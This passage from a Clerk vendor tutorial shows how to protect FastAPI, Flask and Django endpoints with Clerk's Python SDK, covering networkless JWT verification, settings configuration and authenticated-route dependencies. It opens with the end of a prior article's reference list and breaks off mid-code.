- Platform docs: [Next.js 16 `proxy.ts`](https://nextjs.org/docs/app/api-reference/file-conventions/proxy), [Cloudflare Workers platform limits](https://developers.cloudflare.com/workers/platform/limits/), [Vercel Functions limitations](https://vercel.com/docs/functions/limitations), [Netlify Edge Functions overview](https://docs.netlify.com/build/edge-functions/overview/), [AWS Lambda cold start remediation](https://aws.amazon.com/blogs/compute/understanding-and-remediating-cold-starts-an-aws-lambda-perspective/).
- Specs and standards: [RFC 7519 (JWT)](https://datatracker.ietf.org/doc/html/rfc7519), [RFC 7517 (JWK)](https://datatracker.ietf.org/doc/html/rfc7517), [RFC 6749 (OAuth 2.0)](https://datatracker.ietf.org/doc/html/rfc6749), [RFC 9068 (JWT Profile for OAuth 2.0 Access Tokens)](https://datatracker.ietf.org/doc/html/rfc9068), [RFC 9700 (OAuth 2.0 Security BCP)](https://datatracker.ietf.org/doc/rfc9700/), [OpenID Connect Core 1.0](https://openid.net/specs/openid-connect-core-1_0.html).
- Security: [OWASP Top 10 2025](https://owasp.org/Top10/2025/), [OWASP JWT cheat sheet](https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html), [NIST SP 800-63B-4 (July 2025)](https://csrc.nist.gov/pubs/sp/800/63/b/4/final).

---

# How to Add Authentication to a Python Backend
URL: https://clerk.com/articles/how-to-add-authentication-to-a-python-backend.md
Date: 2026-04-22
Description: Protect FastAPI, Flask, and Django endpoints with Clerk's official Python SDK — networkless JWT verification, RBAC, webhook handling, and production-ready deployment patterns.

**How do I add authentication to a Python backend?**

A Python backend authenticates by verifying a signed token the frontend attaches to every request — it does not render sign-in forms, run OAuth handshakes, or store passwords. The recommended 2026 stack is Clerk's official [`clerk-backend-api`](https://pypi.org/project/clerk-backend-api/) for [token](/glossary#token) verification on the Python side, paired with any Clerk frontend SDK (React, Next.js, Expo, Vanilla JS, iOS, Android) for the sign-in UI. The walkthrough below covers FastAPI and Flask in depth, Django briefly, and the React call-site pattern for completeness.

[`authenticate_request()`](https://clerk.com/docs/reference/backend/authenticate-request) accepts any request object that exposes a `headers` mapping ([source](https://raw.githubusercontent.com/clerk/clerk-sdk-python/main/src/clerk_backend_api/security/types.py)) — that covers FastAPI `Request`, Flask `request`, Django `HttpRequest`, Starlette `Request`, and Sanic `Request` directly. Raw ASGI scopes or other shapes without a `headers` attribute need a thin adapter.

## Quick reference

| Piece                                                                                     | What it does                                                  | Where it runs               |
| ----------------------------------------------------------------------------------------- | ------------------------------------------------------------- | --------------------------- |
| Frontend SDK (`@clerk/clerk-react`, `@clerk/nextjs`, etc.)                                | Collects credentials, handles OAuth, mints a session token    | Browser / mobile            |
| [`clerk-backend-api`](https://pypi.org/project/clerk-backend-api/)                        | Verifies the token, reads claims, calls the Clerk Backend API | Your Python server          |
| Session token (JWT)                                                                       | Signed proof the user is signed in; 60-second lifetime        | Sent on every request       |
| [JWKS](/glossary#json-web-token) / `CLERK_JWT_KEY`                                        | The public key used to verify signatures                      | Cached on your server       |
| [`authenticate_request()`](https://clerk.com/docs/reference/backend/authenticate-request) | Reads the token, verifies it, returns the claims              | Per-request in your handler |

**Jump to your framework:**

1. [FastAPI integration](#adding-clerk-authentication-to-fastapi)
2. [Flask integration](#adding-clerk-authentication-to-flask)
3. [Django / DRF pattern](#brief-using-clerk-with-django--drf)
4. [React frontend call-site](#integrating-with-a-react-frontend)

## A minimal FastAPI example

Here's the smallest useful protected endpoint. Full code with project scaffolding and error handling appears later.

```python
from typing import Annotated
from fastapi import Depends, FastAPI, HTTPException, Request
from clerk_backend_api import authenticate_request, AuthenticateRequestOptions
import os

app = FastAPI()

def require_user(request: Request) -> str:
    state = authenticate_request(
        request,
        AuthenticateRequestOptions(
            secret_key=os.environ["CLERK_SECRET_KEY"],
            jwt_key=os.environ.get("CLERK_JWT_KEY"),
            authorized_parties=["http://localhost:3000"],
            accepts_token=["session_token"],
        ),
    )
    if not state.is_signed_in:
        raise HTTPException(status_code=401, detail=state.reason)
    return state.payload["sub"]

@app.get("/api/me")
def me(user_id: Annotated[str, Depends(require_user)]):
    return {"user_id": user_id}
```

That's everything. The frontend calls `fetch('/api/me', { headers: { Authorization: 'Bearer <token>' } })` and Clerk's SDK verifies the signature locally against `CLERK_JWT_KEY`. No network call per request, no session storage, no password hashing. The only thing the backend has to know how to do is verify a signature.

## Who this guide is for

This article is for three readers:

1. **Python developers building a FastAPI, Flask, or Django backend** who need to protect API endpoints and don't want to write [JWT](/glossary#json-web-token) verification from scratch.
2. **React or Next.js developers** who already use Clerk on the frontend and need the backend half. You're comfortable with Clerk's React components but haven't touched the Python SDK yet.
3. **Developers new to [authentication](/glossary#authentication)** who want a production-ready setup without rolling their own. You've heard the words JWT, [OAuth](/glossary#oauth), and [SSO](/glossary/single-sign-on-sso), but you don't want to build any of them.

**Assumptions:**

1. Python 3.10 or higher. The current `clerk-backend-api` (v5.0.6) requires `>=3.10` per its [`pyproject.toml`](https://raw.githubusercontent.com/clerk/clerk-sdk-python/main/pyproject.toml). If you're on 3.8 or 3.9, upgrade Python (recommended) or pin `clerk-backend-api<3` (discouraged, predates the current API).
2. Familiarity with HTTP and at least one of FastAPI or Flask.
3. A package manager: `uv`, `pip`, or `poetry`. Examples use `uv` first, `pip` second.
4. A frontend that can acquire a Clerk session token: React, Next.js, Expo, mobile, or a Clerk-aware API client.

**How to use this guide.** Sections 3 through 5 (mental model, options, setup) apply to any Python backend. Read them once. Then skip to your framework: Section 6 for FastAPI, Section 7 for Flask, Section 8 for Django/DRF. The React integration, advanced SDK features, production deployment notes, and comparison table are framework-agnostic and come after. The FAQ is a scannable index for when you hit a specific error or concept.

## How Python backend authentication actually works

If you take one thing from this article, take this: the frontend acquires the token, the backend verifies it. That's the whole model. Everything else is plumbing.

### Frontend vs. backend responsibilities

The frontend is where the human is. It collects passwords (or a passkey prompt, or an OAuth redirect, or an [MFA](/glossary#multi-factor-authentication-mfa) code), hands those to the auth provider's Frontend API, and receives a signed session token back. It then attaches that token to every API call, typically as `Authorization: Bearer <token>` or a `__session` cookie.

The backend never sees the password. The backend never runs the OAuth dance. The backend's only job is to verify that the token is genuine, fresh, and from a party it trusts, then read the claims (who is this user? what org are they in? what permissions do they have?) and [authorize](/glossary#authorization) the request.

A full request lifecycle with Clerk looks like this:

1. Browser loads your app.
2. Clerk's frontend SDK talks to the [Clerk Frontend API](/glossary#frontend-api) and mints a session.
3. User makes an action that calls your Python backend.
4. Frontend fetches the short-lived session token via `getToken()` and attaches it to the request.
5. Python backend receives the request, passes it to `authenticate_request()`.
6. `authenticate_request()` verifies the RS256 signature using the cached public key, checks expiry, checks the `azp` claim against your allow-list, returns the claims.
7. Your handler authorizes the action and returns a response.

There's no handshake to Clerk on that critical path. With `jwt_key` (networkless mode), verification is a local RS256 signature check — no network round-trip to Clerk on verification. The networked fallback makes a one-time JWKS fetch per process per `kid`, cached in memory, and verifies locally from then on. See the [`authenticateRequest` reference](https://clerk.com/docs/reference/backend/authenticate-request) for the exact behavior.

### Five misconceptions worth clearing up first

**"Python can handle sign-up and sign-in directly."** Not in modern auth, no. Sign-up and sign-in involve OAuth redirects, passkey WebAuthn flows, MFA challenges, session refresh with rolling tokens — all of which live in the browser or mobile client. A Python framework can render a form, but the moment you add Google login, passkeys, or magic links, you've moved that flow into the browser anyway. A real community example: [clerk/clerk-sdk-python#59](https://github.com/clerk/clerk-sdk-python/issues/59) asks for a CLI sign-in helper, which isn't how Clerk's SDK works.

**"Clerk's Python SDK has the same UI components as the React SDK."** It does not. `clerk-backend-api` is backend-only. It verifies tokens, reads user data, manages sessions, and handles webhooks. Components like `<SignIn />`, `<UserButton />`, and `<OrganizationSwitcher />` ship only in the frontend SDKs (`@clerk/clerk-react`, `@clerk/nextjs`, `@clerk/expo`, etc.). The pairing pattern is simple: use Clerk's frontend SDK on the client, `clerk-backend-api` on the Python server.

**"I need to store passwords or session tokens in my database."** No. Clerk stores users, passwords, active sessions, MFA factors, OAuth linkages, and impersonation audit trails. Your Python database only stores your application data, keyed by the Clerk user ID (`user_xxx...`). Clerk's [syncing guide](https://clerk.com/docs/guides/development/webhooks/syncing) documents the canonical pattern: when a `user.created` webhook arrives, insert a row with `clerk_id=data["id"]` and nothing else password-adjacent.

**"JWT verification requires calling the auth provider on every request."** No. RS256 [JWTs](/glossary#json-web-token) are asymmetric. The issuer (Clerk) signs with a private key. You verify with the public key. If you pass `jwt_key=` into `AuthenticateRequestOptions` with the PEM-formatted public key, verification is a local math operation — zero network calls. The networked fallback fetches [JWKS](/glossary#json-web-token) from `https://api.clerk.com/v1/jwks` once per process per `kid` and caches it in memory. Either way, you are not round-tripping to Clerk on every request.

**"I have to manage CORS, cookies, and tokens manually."** The SDK reads the token automatically. It checks `Authorization: Bearer <token>` first, then the `__session` cookie as a fallback. FastAPI's `Request` and Flask's `request` both satisfy the `Requestish` structural [protocol](https://raw.githubusercontent.com/clerk/clerk-sdk-python/main/src/clerk_backend_api/security/types.py) the SDK expects — no wrapping, no adapter. You do have to configure [CORS](https://fastapi.tiangolo.com/tutorial/cors/) on your Python side (covered in Section 11), but token extraction is not something you write.

### Token formats a Python backend sees

Clerk emits several token types. Most Python backends only handle the first one, but it's worth knowing the rest exist.

| Token type         | Prefix | Transport                                     | Typical use                                 |
| ------------------ | ------ | --------------------------------------------- | ------------------------------------------- |
| Session JWT        | none   | `__session` cookie or `Authorization: Bearer` | User-initiated API calls                    |
| API key            | `ak_`  | `Authorization: Bearer`                       | User-created programmatic access            |
| M2M token (opaque) | `m2m_` | `Authorization: Bearer`                       | Service-to-service, revocable               |
| M2M token (JWT)    | `mt_`  | `Authorization: Bearer`                       | Service-to-service, networkless             |
| OAuth access token | `oat_` | `Authorization: Bearer`                       | Third-party apps acting on behalf of a user |

A note on defaults that trips up teams migrating from the Node SDK. In the current Python SDK (5.0.6), the `accepts_token` field on `AuthenticateRequestOptions` [defaults to `['any']`](https://raw.githubusercontent.com/clerk/clerk-sdk-python/main/src/clerk_backend_api/security/types.py) — every token type above is accepted by default. Clerk's canonical [`authenticateRequest` reference](https://clerk.com/docs/reference/backend/authenticate-request) documents the JS/Node SDK default as `'session_token'`, and the Node SDK enforces that default. For parity with the documented default and defense in depth, pass `accepts_token=['session_token']` explicitly on session-only endpoints; restrict M2M-only endpoints with `accepts_token=['m2m_token']` or combine types with `accepts_token=['session_token', 'api_key']`. The full token [type definition](https://raw.githubusercontent.com/clerk/clerk-sdk-python/main/src/clerk_backend_api/security/types.py) lives in the SDK source.

One note worth keeping in your pocket: the default session token format is v2. Clerk deprecated [v1 on 2025-04-14](https://clerk.com/changelog/2025-04-14-session-token-jwt-v2); **in the raw JWT**, org claims that used to be flat (`org_id`, `org_role`) are now nested under an `o` object (`o.id`, `o.rol`, `o.per`). The Python SDK smooths this over by re-surfacing the flat names on `payload` after `authenticate_request()` — `payload["org_id"]`, `payload["org_role"]`, `payload["org_slug"]`, plus the decoded `payload["org_permissions"]` — so application code can read them directly without touching the nested `payload["o"]` dict. Copy-pasted code from mid-2024 tutorials that reached into the (now-removed) top-level `org_id` / `org_role` JWT claims will still work via `payload[...]` because of that SDK-level enrichment, but anything that reads straight from the JSON-decoded token still has to go through `o.*`.

## Your options for Python backend authentication

There are three realistic paths. Most teams pick option 3 once they count the real cost of the others.

### Option 1: Roll your own with PyJWT + pwdlib

You can, in theory, build authentication yourself. You'd hash passwords (Argon2id is the [OWASP 2024 recommendation](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)), mint and verify JWTs, rotate signing keys, send verification emails, handle password resets, implement MFA, integrate [passkeys](/glossary#passkeys) via WebAuthn, wire up OAuth clients for every social provider, rate-limit login endpoints, detect credential stuffing, and commit to a SOC 2 audit cycle.

[WorkOS's 2026 Python authentication guide](https://workos.com/blog/python-authentication-guide-2026) estimates 2–6 weeks for an MVP, 2–3 months for a production-ready system, and $50,000–$200,000 per year for SOC 2 compliance alone. That's before passkeys or organizations.

A critical note on libraries if you're reading older tutorials: the classic FastAPI stack was [`python-jose`](https://pypi.org/project/python-jose/) + `passlib`. Both are effectively unmaintained. `python-jose` carries [CVE-2024-33663](https://nvd.nist.gov/vuln/detail/CVE-2024-33663), an algorithm confusion vulnerability with a CVSS score of 6.5. `passlib`'s last release was [October 2020](https://pypi.org/project/passlib/) and it breaks with `bcrypt` ≥5.0. FastAPI itself officially migrated to [`PyJWT`](https://pypi.org/project/PyJWT/) and [`pwdlib`](https://pypi.org/project/pwdlib/) with Argon2 support in [May 2024](https://github.com/fastapi/fastapi/pull/11589). If you're going to roll your own, use those instead.

Where rolling your own fits: learning exercises, internal tools with no external users, or cases where auth is literally your product.

### Option 2: Framework extensions

[Flask-Login](https://pypi.org/project/Flask-Login/) is session-cookie based. It doesn't fit a stateless bearer-token API where the frontend and backend are decoupled (a React SPA calling a Python API). The last release was [0.6.3 in October 2023](https://pypi.org/project/Flask-Login/).

[FastAPI Users](https://github.com/fastapi-users/fastapi-users) is in maintenance mode. The maintainers have publicly stated they're only accepting security and dependency updates; no new features. A successor project is discussed in the repo but isn't shipping.

[django-allauth](https://docs.allauth.org/) (currently 65.16.0) is the one framework extension that's still actively maintained and feature-complete. It includes MFA, WebAuthn, 100+ social providers, and email verification. It fits Django apps with server-rendered pages. It does not fit decoupled SPA + API architectures because it's built around Django's session middleware.

None of these give you passkeys plus MFA plus organizations plus webhooks plus prebuilt React UI in one package.

### Option 3: Managed auth providers

This is the category [Clerk](/), Auth0, Supabase Auth, Firebase Auth, and AWS Cognito all live in. What they share: hosted user database, prebuilt frontend flows, JWT-based backend verification, [SOC 2](/glossary#soc-2) compliance, passkey support.

Where they differ matters a lot for Python specifically:

1. First-party Python SDK maturity and release cadence
2. Dedicated FastAPI / Flask / Django helpers
3. Passkey and MFA availability on the free or low tiers
4. Organizations / [multi-tenant](/glossary/multi-tenancy) B2B support
5. Networkless JWT verification without DIY JWKS management
6. Free-tier unit ([MRU](/glossary#monthly-retained-users-mrus) vs [MAU](/glossary#monthly-active-users-maus)) and allowance
7. Transparent pricing

Why Clerk is the focus of this guide: first-party [`clerk-backend-api`](https://github.com/clerk/clerk-sdk-python) with monthly releases (5.0.6 in March 2026), strong [organizations](/glossary#organizations) / B2B support, prebuilt React / Next.js / Expo frontends that match the Python backend one-to-one, passkeys included in the Pro plan, and [transparent MRU-based pricing](https://clerk.com/pricing). Python-specific helpers ship in the same SDK: networkless verification, webhook handling, M2M tokens, and organization management are all one import away.

Full comparison table appears in [Section 12](#clerk-vs-other-python-authentication-options). Short version: for a new Python API paired with a modern frontend, Clerk is the path with the fewest decisions to make.

## Setting up Clerk for a Python backend

Before you touch FastAPI or Flask specifics, get these three things in place: a Clerk application, your keys, and a sane environment config.

### Prerequisites

- [ ] Python 3.10 or higher. Confirm with `python --version`.
- [ ] A Clerk account. Sign up at [clerk.com](https://clerk.com).
- [ ] Any Clerk-supported frontend — React, Next.js, Expo, vanilla JS, iOS, Android — capable of obtaining a session token.
- [ ] `uv`, `pip`, or `poetry`. Examples use `uv` first.

### Create a Clerk application and collect your keys

Create an application in the [Clerk Dashboard](https://dashboard.clerk.com/). Enable at least one sign-in method (email + password is enough to start; add passkeys, social OAuth, or magic links later).

You'll collect four pieces of configuration:

1. **Publishable key** (`pk_test_...` or `pk_live_...`) — frontend. Safe to ship in browser bundles. Identifies your Clerk application.
2. **[Secret key](/glossary#secret-key)** (`sk_test_...` or `sk_live_...`) — backend. Never ships to the client. Authorizes Backend API calls.
3. **JWT public key** (PEM) — backend. Used for networkless token verification. Find this at **Dashboard → API keys → scroll to "Advanced" → "Show JWT public key"**, which reveals a PEM-formatted `-----BEGIN PUBLIC KEY-----...-----END PUBLIC KEY-----` block. Confirmed against the [Manual JWT verification guide](https://clerk.com/docs/guides/sessions/manual-jwt-verification) and the [`authenticateRequest` reference](https://clerk.com/docs/reference/backend/authenticate-request).
4. **Webhook signing secret** (`whsec_...`) — backend. Only needed when you add webhooks. We'll cover this in Section 10.

Development vs. production keys matter. Use `pk_test_` and `sk_test_` locally; switch to `pk_live_` and `sk_live_` for production deploys. Never share a secret key with the frontend and never commit it to source control.

### Install the Clerk Python SDK

```bash
uv add clerk-backend-api
```

Equivalent with `pip`:

```bash
pip install clerk-backend-api
```

Or `poetry`:

```bash
poetry add clerk-backend-api
```

Confirm the install: `python -c "import clerk_backend_api; print(clerk_backend_api.__version__)"` should show 5.0.6 or later. The package is auto-generated from Clerk's OpenAPI spec via [Speakeasy](https://www.speakeasy.com/), and sync and async variants live on the same `Clerk` class — there's no separate `AsyncClerk`. See [sdk.py](https://raw.githubusercontent.com/clerk/clerk-sdk-python/main/src/clerk_backend_api/sdk.py) if you're curious about the structure.

Source: [`clerk-backend-api` on PyPI](https://pypi.org/project/clerk-backend-api/), [GitHub repo](https://github.com/clerk/clerk-sdk-python).

### Environment configuration

Create a `.env` at the project root:

```env
CLERK_SECRET_KEY=sk_test_...
CLERK_JWT_KEY="-----BEGIN PUBLIC KEY-----\n...\n-----END PUBLIC KEY-----"
CLERK_AUTHORIZED_PARTIES=http://localhost:3000,https://yourapp.com
CLERK_WEBHOOK_SIGNING_SECRET=whsec_...
```

The `CLERK_JWT_KEY` value is the PEM block copied from the Dashboard, with real newlines replaced by `\n`. In FastAPI you'll let `pydantic-settings` parse it; in Flask you'll use `python-dotenv`. `http://localhost:3000` and `https://yourapp.com` are placeholders for your real development and production frontend origins — replace both before deploying.

Add `.env` to your `.gitignore`:

```gitignore
.env
.env.*
!.env.example
```

> \[!IMPORTANT]
> Clerk **highly recommends** setting `authorized_parties` when authorizing requests. `authenticate_request()` compares the token's `azp` claim against this list; not setting it *can* open your application to [CSRF](/glossary#cross-site-request-forgery-csrf) attacks — a session token issued for `yourapp.com` could be replayed from `evil.com` on the same device. The [Manual JWT verification guide](https://clerk.com/docs/guides/sessions/manual-jwt-verification) says verbatim: *"For better security, it's highly recommended to explicitly set the `authorizedParties` option when authorizing requests. … Not setting this value can open your application to CSRF attacks."* Configure the list with your real frontend origins before shipping to production.

A common gotcha: `CLERK_AUTHORIZED_PARTIES` is a string when it lands in `os.environ`, but `AuthenticateRequestOptions` expects `list[str]`. Passing the raw string puts the entire comma-joined value in as a single list element, and every request fails with `TOKEN_INVALID_AUTHORIZED_PARTIES`. We handle this properly in the FastAPI (Section 6b) and Flask (Section 7b) configs.

Why `CLERK_JWT_KEY` is a PEM and not the publishable key: the publishable key identifies your Clerk application to the Frontend API. The JWT public key is the RSA public half of the keypair Clerk uses to sign session tokens. It's what you actually verify signatures with. They're different values, not interchangeable. The Clerk docs also match these names in their canonical [environment variables guide](https://clerk.com/docs/guides/development/clerk-environment-variables). Note: the archived [`clerk/fastapi-example`](https://github.com/clerk/fastapi-example) uses `CLERK_API_SECRET_KEY` instead of `CLERK_SECRET_KEY`. The docs and every other Clerk SDK use `CLERK_SECRET_KEY`. If you're copy-pasting from the archived example, rename the variable.

### Recommended project structure

Two parallel layouts depending on framework.

FastAPI:

```
app/
  main.py          # FastAPI() + CORS + router registration
  config.py        # Settings(BaseSettings) + get_settings()
  auth.py          # require_auth dependency, require_permission factory
  routers/
    public.py
    protected.py
  webhooks.py      # Clerk webhook endpoint
tests/
.env
pyproject.toml
```

Flask:

```
app/
  __init__.py      # create_app() factory + CORS + blueprint registration
  config.py        # Config class reading from os.environ
  auth.py          # @clerk_required decorator + @require_permission
  routes/
    public.py      # Blueprint
    protected.py   # Blueprint
  webhooks.py      # Blueprint with raw-body handler
tests/
.env
pyproject.toml
```

The exact code for each file appears in the framework sections below. The layout is not load-bearing; use what fits your team.

## Adding Clerk authentication to FastAPI

This is the biggest section. FastAPI's dependency injection system is the idiomatic place for authentication, and the modern `Annotated[X, Depends(dep)]` syntax makes it read cleanly. If you're on an older FastAPI tutorial using `= Depends()` in default parameters, the pattern here is the current one.

### Project setup from scratch

```bash
uv init python-backend-auth
cd python-backend-auth
uv add fastapi "uvicorn[standard]" clerk-backend-api pydantic-settings python-dotenv
```

Minimal `app/main.py`:

```python
from fastapi import FastAPI

app = FastAPI(title="Python Backend Auth")

@app.get("/health")
def health():
    return {"status": "ok"}
```

Run the dev server:

```bash
uv run uvicorn app.main:app --reload --port 8000
```

Hit `http://localhost:8000/health` and you should see `{"status":"ok"}`. Everything else in this section builds on this skeleton.

For production, don't run `uvicorn --reload`. Use Gunicorn as a process manager with Uvicorn workers: `gunicorn -k uvicorn_worker.UvicornWorker app.main:app`. Note the `uvicorn_worker` package (hyphen-to-underscore) — the `uvicorn.workers` stdlib module is deprecated in favor of the [standalone `uvicorn-worker` package](https://pypi.org/project/uvicorn-worker/).

### Configure `pydantic-settings`

Create `app/config.py`:

```python
from functools import lru_cache
from typing import Annotated

from pydantic import field_validator
from pydantic_settings import BaseSettings, NoDecode, SettingsConfigDict


class Settings(BaseSettings):
    clerk_secret_key: str
    clerk_jwt_key: str | None = None
    clerk_authorized_parties: Annotated[list[str], NoDecode] = []
    clerk_webhook_signing_secret: str | None = None

    @field_validator("clerk_authorized_parties", mode="before")
    @classmethod
    def _split_csv(cls, v: str | list[str]) -> list[str]:
        if isinstance(v, str):
            return [p.strip() for p in v.split(",") if p.strip()]
        return v

    model_config = SettingsConfigDict(env_file=".env", case_sensitive=False)


@lru_cache
def get_settings() -> Settings:
    return Settings()
```

Two details worth understanding here.

First, the `NoDecode` + `field_validator` pair. `pydantic-settings` v2 decodes `list[str]` fields as JSON by default. A plain CSV env value that joins two origins with a comma raises `JSONDecodeError` at startup. `NoDecode` opts that one field out; the validator splits on commas, trims whitespace, drops empties. The alternative is JSON-in-env (`CLERK_AUTHORIZED_PARTIES='["http://localhost:3000"]'`), which is valid but awkward for Docker or Kubernetes. See [pydantic-settings parsing environment variable values](https://docs.pydantic.dev/latest/concepts/pydantic_settings/) and [issue #291](https://github.com/pydantic/pydantic-settings/issues/291) for the underlying behavior.

Second, `@lru_cache`. Reading `.env` once at startup is correct. The cache makes `get_settings()` idempotent and testable: in tests, override with `app.dependency_overrides[get_settings] = lambda: Settings(clerk_secret_key="sk_test_fake", ...)`. Source: [FastAPI settings docs](https://fastapi.tiangolo.com/advanced/settings/).

Pydantic v1 note: the `NoDecode` + `field_validator` + `SettingsConfigDict` syntax above is `pydantic-settings` v2, which extracted `BaseSettings` out of `pydantic` core into a separate package at the [v2.0 release on 2023-06-30](https://github.com/pydantic/pydantic-settings). `pip install pydantic-settings` pulls v2.x today ([current 2.13.3, April 2026](https://pypi.org/project/pydantic-settings/)). Legacy v1 codebases keep `BaseSettings` inside `pydantic` itself, do not have `NoDecode`, and use `@validator("...", pre=True)` with an inner `class Config`. Migration guide: [pydantic migration](https://docs.pydantic.dev/latest/migration/). Active development on v1 ended [2024-06-30](https://docs.pydantic.dev/2.0/migration/), so new projects should be on v2.

### Create the Clerk authentication dependency

This is the subsection to read twice. Everything else builds on it.

Create `app/auth.py`:

```python
from typing import Annotated

from clerk_backend_api import AuthenticateRequestOptions, authenticate_request
from clerk_backend_api.security.types import RequestState
from fastapi import Depends, HTTPException, Request
from fastapi.security import HTTPAuthorizationCredentials, HTTPBearer

from app.config import Settings, get_settings

http_bearer = HTTPBearer(auto_error=False)


def require_auth(
    request: Request,
    settings: Annotated[Settings, Depends(get_settings)],
    _creds: Annotated[HTTPAuthorizationCredentials | None, Depends(http_bearer)] = None,
) -> RequestState:
    state = authenticate_request(
        request,
        AuthenticateRequestOptions(
            secret_key=settings.clerk_secret_key,
            jwt_key=settings.clerk_jwt_key,
            authorized_parties=settings.clerk_authorized_parties,
            accepts_token=["session_token"],
        ),
    )
    if not state.is_signed_in:
        raise HTTPException(
            status_code=401,
            detail=state.reason or "unauthorized",
            headers={"WWW-Authenticate": "Bearer"},
        )
    return state
```

A few decisions baked into this dependency are worth explaining.

**`HTTPBearer(auto_error=False)`**, not `OAuth2PasswordBearer`. Clerk is the issuer, you're not running an OAuth server, and the tutorial pattern of `OAuth2PasswordBearer(tokenUrl="token")` doesn't apply. `HTTPBearer` gives you the Swagger "Authorize" button and a clean security scheme in the OpenAPI spec without pretending you expose a password flow. `auto_error=False` lets Clerk's SDK emit the specific rejection reason (`SESSION_TOKEN_MISSING`, `TOKEN_EXPIRED`, etc.) instead of a generic 403. Source: [FastAPI security first steps](https://fastapi.tiangolo.com/tutorial/security/first-steps/).

**Pass `Request` directly into `authenticate_request()`.** FastAPI's `Request` is a Starlette object with a `headers` mapping. Clerk's [`Requestish`](https://raw.githubusercontent.com/clerk/clerk-sdk-python/main/src/clerk_backend_api/security/types.py) protocol is structurally satisfied — you don't wrap it, don't convert, don't `.dict()` it.

**Module-level `authenticate_request`**, not `clerk.authenticate_request(...)` on an instance. Both work. Module-level is explicit about what's happening, avoids needing a `with Clerk(...)` context manager, and matches the pattern the now-archived [`clerk/fastapi-example`](https://github.com/clerk/fastapi-example) used. If you prefer the instance method, construct a module-level `sdk = Clerk(bearer_auth=settings.clerk_secret_key)` and call `sdk.authenticate_request(request, AuthenticateRequestOptions(...))`. The instance method auto-pulls `secret_key` from `bearer_auth` if you don't pass it explicitly.

**Networkless with `jwt_key`.** The `jwt_key=settings.clerk_jwt_key` argument is the PEM public key. When present, the SDK verifies the RS256 signature locally. When absent, the SDK falls back to the networked path: fetch JWKS from `https://api.clerk.com/v1/jwks`, cache by `kid`, retry on mismatch for key rotation. Both work; networkless is faster and more resilient. See [verifytoken.py](https://raw.githubusercontent.com/clerk/clerk-sdk-python/main/src/clerk_backend_api/security/verifytoken.py) for the exact behavior.

**Explicit `authorized_parties`.** The [Manual JWT verification guide](https://clerk.com/docs/guides/sessions/manual-jwt-verification) says: "Neglecting to validate `azp` can expose your application to CSRF attacks." The list is your allow-list of frontend origins. It's a single line of defense, so don't skip it.

**Explicit `accepts_token=["session_token"]`.** The Python SDK's `AuthenticateRequestOptions.accepts_token` [defaults to `['any']`](https://raw.githubusercontent.com/clerk/clerk-sdk-python/main/src/clerk_backend_api/security/types.py) — meaning without this argument, the dependency will also accept API keys, M2M tokens, and OAuth access tokens on the same endpoint. Clerk's [`authenticateRequest` reference](https://clerk.com/docs/reference/backend/authenticate-request) documents the default as `'session_token'` (the Node SDK enforces that value). The Python SDK is permissive where the docs are restrictive, so pass `accepts_token` explicitly on every session-only endpoint. Machine-auth endpoints swap the list (shown in [Section 10f](#machine-to-machine-authentication)).

**Return `RequestState`, not `state.payload`.** The full state includes `is_signed_in` (and its alias `is_authenticated`), `status`, `reason`, `payload`, `token`, and `to_auth()`. Downstream dependencies (`require_permission`, `current_user`) want all of it.

### Protecting different types of endpoints

Three patterns you'll need: public, authenticated, and permission-gated.

Public endpoints need no dependency at all. Create `app/routers/public.py`:

```python
from fastapi import APIRouter

router = APIRouter()

@router.get("/health")
def health():
    return {"status": "ok"}

@router.get("/api/public/posts")
def public_posts():
    return {"posts": [{"id": 1, "title": "Hello, world"}]}
```

Authenticated endpoints inject `require_auth`. Create `app/routers/protected.py`:

```python
from typing import Annotated

from clerk_backend_api.security.types import RequestState
from fastapi import APIRouter, Depends

from app.auth import require_auth

router = APIRouter(prefix="/api", tags=["protected"])

@router.get("/me")
def me(state: Annotated[RequestState, Depends(require_auth)]):
    return {
        "user_id": state.payload["sub"],
        "session_id": state.payload.get("sid"),
    }
```

Admin-only endpoints stack a permission check on top. We'll build the `require_permission` factory in the next subsection. For now, the shape:

```python
@router.get("/admin/users")
def list_admin_users(
    _: Annotated[None, Depends(require_permission("org:admin:manage"))],
):
    return {"users": []}
```

A note on [roles](/glossary#roles) and permissions that often trip readers up. The v2 session token carries the user's system role in the `o.rol` claim (without the `org:` prefix, e.g., `"admin"`), and the Python SDK enriches the payload with `payload["org_role"]` so you can read it directly — no Backend API call. **Custom permissions** are serialized compactly across three claims (`fea`, `o.per`, `o.fpm`) that the SDK decodes into the full `org:<feature>:<permission>` strings at `payload["org_permissions"]`. **System permissions** (like `org:sys_memberships:manage`) are *not* serialized at all — if you need those server-side, create a custom permission and assign it to the system role in the Dashboard. Full details and worked examples are in the [RBAC section](#role-based-and-permission-based-access-control). Sources: [session tokens guide](https://clerk.com/docs/guides/sessions/session-tokens), [roles and permissions guide](https://clerk.com/docs/guides/organizations/control-access/roles-and-permissions).

### Accessing user context inside endpoints

Reading the user ID is a single claim lookup:

```python
user_id = state.payload["sub"]
```

That's enough for 90% of endpoints. The session token already has the user ID, organization ID, and custom permissions. You do not need to make a Backend API call to learn who the user is.

When you need profile data (name, email, metadata), call `sdk.users.get(user_id=user_id)`. Construct the SDK client once at module scope so you reuse its connection pool:

```python
from clerk_backend_api import Clerk
from functools import lru_cache

from app.config import get_settings

@lru_cache
def get_clerk() -> Clerk:
    return Clerk(bearer_auth=get_settings().clerk_secret_key)
```

Then in an endpoint:

```python
from typing import Annotated
from clerk_backend_api import Clerk
from clerk_backend_api.security.types import RequestState
from fastapi import APIRouter, Depends

from app.auth import require_auth

router = APIRouter(prefix="/api")

@router.get("/me/profile")
def profile(
    state: Annotated[RequestState, Depends(require_auth)],
    clerk: Annotated[Clerk, Depends(get_clerk)],
):
    user = clerk.users.get(user_id=state.payload["sub"])
    return {
        "id": user.id,
        "email": user.primary_email_address,
        "public_metadata": user.public_metadata,
    }
```

Because FastAPI caches dependency results per request (`use_cache=True` default), adding `state` to multiple sub-dependencies doesn't cost extra calls.

**Bridging auth to your own database.** The `state.payload["sub"]` value is the Clerk user ID (`user_xxxxxxxxxxxx`). Use it as a foreign key into your own tables. A minimal SQLAlchemy 2.0 async lookup:

```python
from sqlalchemy import select
from sqlalchemy.ext.asyncio import AsyncSession

from app.models import User

async def load_user(session: AsyncSession, clerk_id: str) -> User | None:
    result = await session.execute(
        select(User).where(User.clerk_id == clerk_id)
    )
